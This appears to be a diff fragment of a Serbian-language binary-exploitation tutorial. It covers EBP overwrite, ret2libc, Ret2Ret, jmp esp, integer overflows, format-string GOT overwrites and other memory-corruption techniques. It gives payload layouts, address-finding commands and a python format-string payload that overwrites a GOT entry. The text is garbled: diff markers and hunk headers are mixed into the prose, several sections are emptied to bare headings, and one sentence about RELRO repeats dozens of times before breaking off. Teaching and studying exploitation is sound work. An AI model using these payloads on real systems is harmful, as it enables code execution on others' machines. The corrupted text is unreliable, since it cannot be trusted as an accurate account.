asemblerski kod: -``` -movl %ebp, %esp -popl %ebp -ret -``` -Na ovaj način, ako se može promeniti EBP prilikom izlaska iz funkcije (fvuln) koja je pozvana iz druge funkcije, kada funkcija koja je pozvala fvuln završi, njen EIP može biti promenjen. - -U fvuln se može uneti lažni EBP koji pokazuje na mesto gde se nalazi adresa shell koda + 4 (treba dodati 4 zbog pop operacije). Na taj način, prilikom izlaska iz funkcije, vrednost &(\&Shellcode)+4 će biti smeštena u ESP, nakon pop operacije će se smanjiti vrednost ESP za 4 i on će pokazivati na adresu shell koda kada se izvrši ret. - -**Exploit:**\ -\&Shellcode + "AAAA" + SHELLCODE + punjenje + &(\&Shellcode)+4 - -**Off-by-One Exploit**\ -Dozvoljava se modifikacija samo najmanjeg bajta EBP. Može se izvesti napad kao prethodni, ali memorija koja čuva adresu shell koda mora deliti prva 3 bajta sa EBP. - -## **4. Metode povratka na Libc** - -Korisna metoda kada stack nije izvršiv ili ostavlja vrlo mali bafer za modifikaciju. - -ASLR uzrokuje da se funkcije u svakom izvršavanju učitavaju na različite pozicije u memoriji. Stoga ova metoda možda neće biti efikasna u tom slučaju. Za udaljene servere, budući da se program stalno izvršava na istoj adresi, ova metoda može biti korisna. - -* **cdecl(C deklaracija)** Stavlja argumente na stack i nakon izlaska iz funkcije čisti stek -* **stdcall(standardni poziv)** Stavlja argumente na stek i funkcija koja je pozvana čisti stek -* **fastcall** Stavlja prva dva argumenta u registre, a ostale na stek - -Stavlja se adresa system funkcije iz libc i prosleđuje se kao argument string “/bin/sh”, obično iz okoline. Takođe, koristi se adresa funkcije exit kako bi se program izašao bez problema nakon što shell više nije potreban (i zapisivanje logova). - -**export SHELL=/bin/sh** - -Za pronalaženje potrebnih adresa može se pogledati unutar **GDB-a:**\ -**p system**\ -**p exit**\ -**rabin2 -i izvršiv** —> Daje adresu svih funkcija koje program koristi prilikom učitavanja\ -(Unutar starta ili nekog breakpointa): **x/500s $esp** —> Tražimo string /bin/sh unutar ovoga - -Kada imamo ove adrese, **exploit** će izgledati ovako: - -“A” \* RAZDALJINA EBP + 4 (EBP: mogu biti 4 "A" mada je bolje ako je pravi EBP da se izbegnu segmentacione greške) + Adresa **system** (prepisuje EIP) + Adresa **exit** (nakon system(“/bin/sh”) ova funkcija će biti pozvana jer se prva 4 bajta steka tretiraju kao sledeća adresa EIP-a za izvršavanje) + Adresa “**/bin/sh**” (biće parametar prosleđen system funkciji) - -Na ovaj način, EIP će biti prepisan adresom system funkcije koja će primiti string “/bin/sh” kao argument, a nakon izlaska iz nje izvršiće se funkcija exit(). - -Moguće je da se nađete u situaciji da je neki bajt neke adrese neaktivan ili prazan (\x20). U tom slučaju možete rasklopiti prethodne adrese funkcija jer će verovatno biti više NOP instrukcija koje će vam omogućiti da pozovete neku od njih umesto same funkcije direktno (na primer sa > x/8i system-4). - -Ova metoda funkcioniše jer kada se pozove funkcija poput system koristeći opcode **ret** umesto **call**, funkcija shvata da će prva 4 bajta biti adresa **EIP** na koju treba vratiti. - -Interesantna tehnika sa ovom metodom je pozivanje **strncpy()** kako bi se prebacio payload sa steka na hip i zatim koristio **gets()** za izvršavanje tog payload-a. - -Još jedna interesantna tehnika je korišćenje **mprotect()** koja omogućava dodeljivanje željenih dozvola bilo kojem delu memorije. Funkcioniše ili je funkcionisalo u BDS-u, MacOS-u i OpenBSD-u, ali ne i u Linuxu (kontroliše da ne možete istovremeno dodeliti dozvole za pisanje i izvršavanje). Ovim napadom moglo bi se ponovo postaviti stek kao izvršiv. - -**Nizanje funkcija** - -Na osnovu prethodne tehnike, ovaj oblik exploit-a sastoji se od:\ -Punjenje + \&Funkcija1 + \&pop;ret; + \&arg\_fun1 + \&Funkcija2 + \&pop;ret; + \&arg\_fun2 + … - -Na ovaj način mogu se nizati funkcije koje treba pozvati. Takođe, ako se žele koristiti funkcije sa više argumenata, mogu se postaviti potrebni argumenti (npr. 4) i postaviti sva 4 argumenta i pronaći adresu sa opcodovima: pop, pop, pop, pop, ret —> **objdump -d izvršiv** - -**Nizanje putem falsifikovanja okvira (nizanje EBPa)** - -Sastoji se u iskorišćavanju mogućnosti manipulacije EBP-om kako bi se nizale izvršavanje različitih funkcija putem EBP-a i "leave;ret" - -PUNJENJE - -* Postavljamo lažni EBP koji pokazuje na: 2. lažni EBP + funkcija za izvršavanje: (\&system() + \&leave;ret + &“/bin/sh”) -* U EIP postavljamo adresu funkcije &(leave;ret) - -Započinjemo shell kod sa adresom sledećeg dela shell koda, na primer: 2. lažni EBP + \&system() + &(leave;ret;) + &”/bin/sh” - -2. lažni EBP bi bio: 3. lažni EBP + \&system() + &(leave;ret;) + &”/bin/ls” - -Ovaj shell kod se može ponavljati neograničeno u delovima memorije do kojih se može pristupiti, tako da će se shell kod lako podeliti na male delove memorije. - -(Izvršavanje funkcija se niza kombinovanjem ranije viđenih ranjivosti EBP-a i ret2lib) - ## **5. Dodatne metode** **Ret2Ret** -Korisno kada nije moguće ubaciti adresu sa steka u EIP (proverava se da EIP ne sadrži 0xbf) ili kada nije moguće izračunati lokaciju shell koda. Međutim, ranjiva funkcija prihvata parametar (shell kod će biti ovde). +Koristan kada nije moguće ubaciti adresu steka u EIP (proverava se da EIP ne sadrži 0xbf) ili kada nije moguće izračunati lokaciju shell koda. Međutim, ranjiva funkcija prihvata parametar (ovde će ići shell kod). + +Na ovaj način, menjanjem EIP sa adresom **ret**, učitaće se sledeća adresa (koja je adresa prvog argumenta funkcije). Drugim rečima, učitaće se shell kod. + +Eksploit bi izgledao ovako: SHELLCODE + Punjenje (do EIP) + **\&ret** (naredni bajtovi steka pokazuju na početak shell koda jer se adresa prosleđenog parametra stavlja na stek) + +Izgleda da funkcije poput **strncpy** nakon završetka brišu adresu gde je bio smešten shell kod, onemogućavajući ovu tehniku. Drugim rečima, adresa koja se prosleđuje funkciji kao argument (ona koja čuva shell kod) se menja u 0x00, pa kada se pozove drugi **ret**, naiđe se na 0x00 i program se ruši. -Na ovaj način, menjanjem EIP-a sa adresom **ret**, učitaće se sledeća adresa (koja je adresa prvog argumenta funkcije). Drugim rečima, učitaće se shell kod. -Exploit će izgledati ovako: SHELLCODE + Punjenje (do EIP-a) + **\&ret** (sledeći bajtovi steka pokazuju na početak shell koda jer se adresa prosleđuje kao argument) -Izgleda da funkcije poput **strncpy** nakon završetka uklanjaju sa steka adresu gde je čuvan shell kod, onemogućavajući ovu tehniku. Drugim rečima, adresa koja se prosleđuje funkciji kao argument (ona koja čuva shell kod) se menja u 0x00, pa kada se pozove drugi **ret** nailazi se na 0x00 i program se ruši. -``` -**Ret2PopRet** -``` **Muratova tehnika** -Ukoliko nemamo kontrolu nad prvom argumentom, ali imamo nad drugim ili trećim, možemo prepisati EIP adresu sa adresom pop-ret ili pop-pop-ret, u zavisnosti koja nam je potrebna. +Na Linuxu, svi programi se mapiraju počevši od 0xbfffffff -U Linuxu, svi programi se mapiraju počevši od 0xbfffffff. +Posmatrajući kako se konstruiše stek novog procesa u Linuxu, može se razviti eksploit tako da program bude pokrenut u okruženju gde je jedina promenljiva shell kod. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) -Posmatrajući kako se konstruiše stek novog procesa u Linuxu, možemo razviti eksploit tako da program bude pokrenut u okruženju gde je jedina promenljiva shellcode. Adresu ove promenljive možemo izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +Na ovaj način, lako se dobija adresa gde se nalazi promenljiva okruženja sa shell kodom. -Na ovaj način, lako možemo dobiti adresu gde se nalazi promenljiva okruženja sa shellcode. - -Ovo je moguće zahvaljujući funkciji execle koja omogućava kreiranje okruženja sa samo željenim promenljivama okruženja. +Ovo se može postići zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja **Skok na ESP: Windows stil** -Budući da ESP uvek pokazuje na početak steka, ova tehnika podrazumeva zamenu EIP adrese sa adresom poziva **jmp esp** ili **call esp**. Na ovaj način, shellcode se čuva nakon prepisivanja EIP jer nakon izvršenja **ret**, ESP će pokazivati na sledeću adresu, tačno tamo gde je sačuvana shellcode. +Budući da ESP uvek pokazuje na početak steka, ova tehnika podrazumeva zamenu EIP sa adresom poziva **jmp esp** ili **call esp**. Na ovaj način, shell kod se čuva nakon prepisivanja EIP jer nakon izvršenja **ret**, ESP će pokazivati na sledeću adresu, tačno tamo gde je smešten shell kod. -U slučaju da ASLR nije aktiviran u Windowsu ili Linuxu, možemo pozvati **jmp esp** ili **call esp** koji su smešteni u nekom deljenom objektu. U slučaju da je ASLR aktivan, možemo potražiti unutar samog ranjivog programa. +U slučaju da ASLR nije aktivan u Windowsu ili Linuxu, može se pozvati **jmp esp** ili **call esp** smeštene u nekom deljenom objektu. Ako je ASLR aktivan, može se potražiti unutar samog ranjivog programa. -Takođe, mogućnost postavljanja shellcode nakon korupcije EIP umesto u sredini steka omogućava da push ili pop instrukcije koje se izvrše usred funkcije ne dodirnu shellcode (što bi se moglo desiti ako bi bila postavljena u sredini steka funkcije). +Takođe, mogućnost postavljanja shell koda nakon korupcije EIP umesto u sredini steka omogućava da push ili pop instrukcije koje se izvršavaju u sredini funkcije ne dodirnu shell kod (što bi se moglo desiti ako bi se postavio u sredini steka funkcije). -Na veoma sličan način, ako znamo da funkcija vraća adresu gde je sačuvana shellcode, možemo pozvati **call eax** ili **jmp eax (ret2eax).** +Na vrlo sličan način, ako znamo da funkcija vraća adresu gde je smešten shell kod, možemo pozvati **call eax** ili **jmp eax (ret2eax).** **Prekoračenja celih brojeva** @@ -277,93 +179,27 @@ printf("\nIntento de hack\n"); return 0; } ``` -U prethodnom primeru vidimo da program očekuje 2 parametra. Prvi je dužina sledećeg niza, a drugi je niz. +U prethodnom primeru vidimo da program očekuje 2 parametra. Prvi je dužina sledećeg niza, a drugi je sam niz. -Ako prosledimo negativan broj kao prvi parametar, program će prikazati da je len < 256 i proći će kroz taj filter, a takođe će strlen(buffer) biti manji od l, jer je l unsigned int i biće veoma velik. +Ako prosledimo negativan broj kao prvi parametar, program će prikazati da je len < 256 i proći će taj filter, a takođe će strlen(buffer) biti manji od l, jer je l unsigned int i biće veoma velik. -Ovaj tip preplavljenosti ne pokušava da nešto upiše u proces programa, već da prevaziđe loše dizajnirane filtere kako bi iskoristio druge ranjivosti. +Ovaj tip preplavljenja ne pokušava da upiše nešto u proces programa, već da prevaziđe loše dizajnirane filtere kako bi iskoristio druge ranjivosti. **Nekonfigurisane promenljive** -Nije poznata vrednost koju može imati nekonfigurisana promenljiva i bilo bi zanimljivo posmatrati je. Moguće je da će uzeti vrednost koju je imala promenljiva iz prethodne funkcije i da je ova kontrolisana od strane napadača. +Nije poznato koji će vrednost uzeti nekonfigurisana promenljiva i bilo bi zanimljivo posmatrati je. Moguće je da će uzeti vrednost koju je imala promenljiva iz prethodne funkcije i da je ova promenljiva kontrolisana od strane napadača. -## **Formatiranje stringova** +## -U programskom jeziku C, **`printf`** je funkcija koja se može koristiti za **ispisivanje** određenog niza karaktera. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** koje će **zameniti** formate iz sirovog teksta. +### -Ranjivost se pojavljuje kada **napadačev tekst bude postavljen kao prvi argument** ovoj funkciji. Napadač će moći da oblikuje **specijalan unos zloupotrebom** mogućnosti **formatiranja stringova printf funkcije** kako bi **upisao bilo koje podatke na bilo koju adresu**. Na taj način može **izvršiti proizvoljan kod**. +### -Formati: -```bash -%08x —> 8 hex bytes -%d —> Entire -%u —> Unsigned -%s —> String -%n —> Number of written bytes -%hn —> Occupies 2 bytes instead of 4 -$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 -``` -**`%n`** **upisuje** **broj napisanih bajtova** na **naznačenu adresu. Pisanje** toliko **bajtova** koliko je heksadecimalni broj koji **treba** napisati je način kako možete **napisati bilo koje podatke**. -```bash -AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param -AAAA.%500\$08x —> Param at offset 500 -``` -### GOT (Global Offsets Table) / PLT (Procedure Linkage Table) +### -Ovo je tabela koja sadrži adresu spoljnih funkcija koje koristi program. +### **.fini\_array** -Dobijte adresu ove tabele sa: `objdump -s -j .got ./exec` - -![](<../../.gitbook/assets/image (619).png>) - -Primetite kako nakon učitavanja izvršnog fajla u GEF-u možete videti funkcije koje se nalaze u GOT-u: `gef➤ x/20x 0xDIR_GOT` - -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) - -Korišćenjem GEF-a možete započeti sesiju za debagovanje i izvršiti `got` da biste videli got tabelu: - -![](<../../.gitbook/assets/image (621).png>) - -U binarnom fajlu, GOT ima adrese funkcija ili odeljak PLT koji će učitati adresu funkcije. Cilj ovog eksploata je da se prepiše unos u GOT-u funkcije koja će biti izvršena kasnije sa adresom PLT funkcije `system`. Idealno, prepišete GOT funkcije koja će biti pozvana sa parametrima koje kontrolišete (tako da ćete moći da kontrolišete parametre poslate funkciji sistema). - -Ako `system` nije korišćen od strane skripte, funkcija sistema neće imati unos u GOT-u. U tom scenariju, moraćete prvo otkriti adresu funkcije `system`. - -Procedure Linkage Table je tabela samo za čitanje u ELF fajlu koja čuva sve neophodne simbole koji zahtevaju razrešenje. Kada se pozove jedna od ovih funkcija, GOT će preusmeriti tok na PLT kako bi razrešio adresu funkcije i upisao je u GOT. Zatim, sledeći put kada se pozove ta adresa, funkcija se poziva direktno bez potrebe za razrešavanjem. - -Možete videti adrese PLT-a sa `objdump -j .plt -d ./vuln_binary` - -### Tok eksploatacije - -Kao što je objašnjeno ranije, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Idealno bi bilo postaviti adresu shell koda smeštenu u izvršnom odeljku, ali je veoma verovatno da nećete moći da napišete shell kod u izvršnom odeljku. Stoga, druga opcija je da se prepiše funkcija koja prima argumente od korisnika i usmeri je ka funkciji `system`. - -Za pisanje adrese, obično se rade 2 koraka: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi `$hn`. - -HOB se odnosi na 2 viša bajta adrese\ -LOB se odnosi na 2 niža bajta adrese - -Zbog toga kako format string radi, morate prvo napisati manji od [HOB, LOB] pa onda drugi. - -Ako je HOB < LOB\ -`[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` - -Ako je HOB > LOB\ -`[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` - -HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - -`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'` - -### Šablon za eksploataciju format stringa - -Možete pronaći šablon za eksploataciju GOT-a korišćenjem format stringova ovde: - -{% content-ref url="format-strings-template.md" %} -[format-strings-template.md](format-strings-template.md) -{% endcontent-ref %} - -### .fini_array - -Essentially this is a structure with functions that will be called before the program finishes. This is interesting if you can call your shellcode just jumping to an address, or in cases where you need to go back to main again to exploit the format string a second time. +Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. ```bash objdump -s -j .fini_array ./greeting @@ -374,7 +210,7 @@ Contents of section .fini_array: #Put your address in 0x8049934 ``` -Napomena da ovo **neće** **kreirati** večnu petlju jer kada se vratite na glavnu funkciju, kanarinci će primetiti, kraj steka može biti oštećen i funkcija više neće biti ponovo pozvana. Dakle, sa ovim ćete moći **izvršiti još jedno izvršenje** ranjivosti. +Napomena da ovo **neće** **kreirati** večnu petlju jer kada se vratite u glavni program, kanarinci će primetiti, kraj steka može biti oštećen i funkcija više neće biti ponovo pozvana. Dakle, sa ovim ćete moći **izvršiti još 1 put** ranjivost. ### **Formatiranje stringova za ispis sadržaja** @@ -392,7 +228,7 @@ Dakle, **pristupanjem 8. parametru** možete dobiti zastavu: ![](<../../.gitbook/assets/image (624).png>) -Napomena da nakon **prethodnog napada** i shvatanja da možete **procureti sadržaj**, možete postaviti pokazivače na **`printf`** na odeljak gde je **izvršivi fajl učitan** i **potpuno ga iskopirati**! +Napomena da nakon **prethodne eksploatacije** i shvatanja da možete **procureti sadržaj**, možete postaviti pokazivače na **`printf`** na odeljak gde je **izvršiv** i **potpuno ga isprazniti**! ### **DTOR** @@ -409,183 +245,64 @@ Obično ćete pronaći **DTOR** sekciju **između** vrednosti `ffffffff` i `0000 ### **Formatiranje stringova za preplavljivanje bafera** -**Sprintf** pomera formatiran string **u** **promenljivu**. Stoga, možete zloupotrebiti **formatiranje** stringa da izazovete **preplavljivanje bafera u promenljivoj** gde se sadržaj kopira. Na primer, payload `%.44xAAAA` će **upisati 44B+"AAAA" u promenljivu**, što može izazvati preplavljivanje bafera. +**Sprintf** pomera formatiran string **u** **promenljivu**. Stoga, možete zloupotrebiti **formatiranje** stringa da izazovete **preplavljivanje bafera u promenljivoj** gde se kopira sadržaj.\ +Na primer, payload `%.44xAAAA` će **upisati 44B+"AAAA" u promenljivu**, što može izazvati preplavljivanje bafera. ### **Strukture \_\_atexit** {% hint style="danger" %} -Danas je vrlo **čudno iskoristiti ovo**. +Danas je vrlo **čudno eksploatisati ovo**. {% endhint %} -**`Atexit()`** je funkcija kojoj se **druge funkcije prosleđuju kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main** funkcije. Ako možete **modifikovati adresu** bilo koje od ovih **funkcija** da pokazuje na shell kod na primer, **preuzeti ćete kontrolu** nad **procesom**, ali je to trenutno složenije. Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su **šifrovane XOR** funkcijom i pomeraji sa **slučajnim ključem**. Tako da je ovaj vektor napada trenutno **nije vrlo koristan bar na x86** i **x64\_86** arhitekturama. **Funkcija za šifrovanje** je **`PTR_MANGLE`**. **Druge arhitekture** poput m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju šifrovanje** funkcije jer **vraćaju isto** što su primile kao ulaz. Tako da bi ove arhitekture bile podložne ovom vektoru napada. +**`Atexit()`** je funkcija kojoj se **prosleđuju druge funkcije kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main** funkcije.\ +Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shell kod na primer, dobićete **kontrolu** nad **procesom**, ali trenutno je to komplikovanije.\ +Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su **šifrovane XOR**-om i pomeraji sa **slučajnim ključem**. Tako da je ovaj vektor napada trenutno **nije vrlo koristan bar na x86** i **x64\_86**.\ +**Funkcija za šifrovanje** je **`PTR_MANGLE`**. **Druge arhitekture** poput m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju za šifrovanje** jer **vraćaju isto** što su dobili kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada. ### **Setjmp() & longjmp()** {% hint style="danger" %} -Danas je vrlo **čudno iskoristiti ovo**. +Danas je vrlo **čudno eksploatisati ovo**. {% endhint %} **`Setjmp()`** omogućava da se **sačuva** **kontekst** (registri)\ **`Longjmp()`** omogućava da se **vrati** **kontekst**.\ Sačuvani registri su: `EBX, ESI, EDI, ESP, EIP, EBP`\ Ono što se dešava je da se EIP i ESP prosleđuju kroz **`PTR_MANGLE`** funkciju, tako da su **arhitekture podložne ovom napadu iste kao gore**.\ -Koriste se za oporavak od grešaka ili prekida.\ -Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste modifikovali ESP. +Koriste se za oporavak grešaka ili prekide.\ +Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste promenili ESP. **VTable i VPTR u C++** Svaka klasa ima **Vtabelu** koja je niz **pokazivača na metode**. -Svaki objekat **klase** ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** VPtr-a, može se **modifikovati** da **pokazuje** na lažnu metodu tako da izvršavanje funkcije ode na shell kod. +Svaki objekat **klase** ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** **VPtr-a** može se **modifikovati** da **pokazuje** na lažnu metodu tako da izvršavanje funkcije ode na shell kod. ## **Preventivne mere i izbegavanja** -**Return-into-printf** +### -To je tehnika za pretvaranje preplavljivanja bafera u grešku u formatu stringa. Sastoji se od zamene EIP-a tako da pokazuje na printf funkciju i prosleđivanja manipulisanog stringa kao argumenta kako bi se dobile vrednosti o stanju procesa. - -**Napad na biblioteke** - -Biblioteke se nalaze na poziciji sa 16 bita nasumičnosti = 65636 mogućih adresa. Ako ranjiv server pozove fork(), prostor adresa memorije je kopiran u proces dete i ostaje netaknut. Tako da se može pokušati izvršiti brute force na funkciju usleep() iz libc prosleđujući joj argument "16" tako da kada duže traje od uobičajenog da odgovori, pronađena je ta funkcija. Znajući gde se ta funkcija nalazi, može se dobiti delta\_mmap i izračunati ostale. - -Jedini način da budete sigurni da ASLR funkcioniše je korišćenje 64-bitne arhitekture. Tamo nema napada brute force. - -### Relro - -**Relro (Read only Relocation)** utiče na dozvole memorije slično kao NX. Razlika je u tome što dok sa NX čini stek izvršivim, RELRO čini **određene stvari samo za čitanje** tako da im **ne možemo pisati**. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje **pisanja** u njih. Najčešći način na koji sam video da -```bash -gef➤ vmmap -Start End Offset Perm Path -0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc -0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc -0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc -0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc -0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc -0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap] -0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so -0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw- -0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] -0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 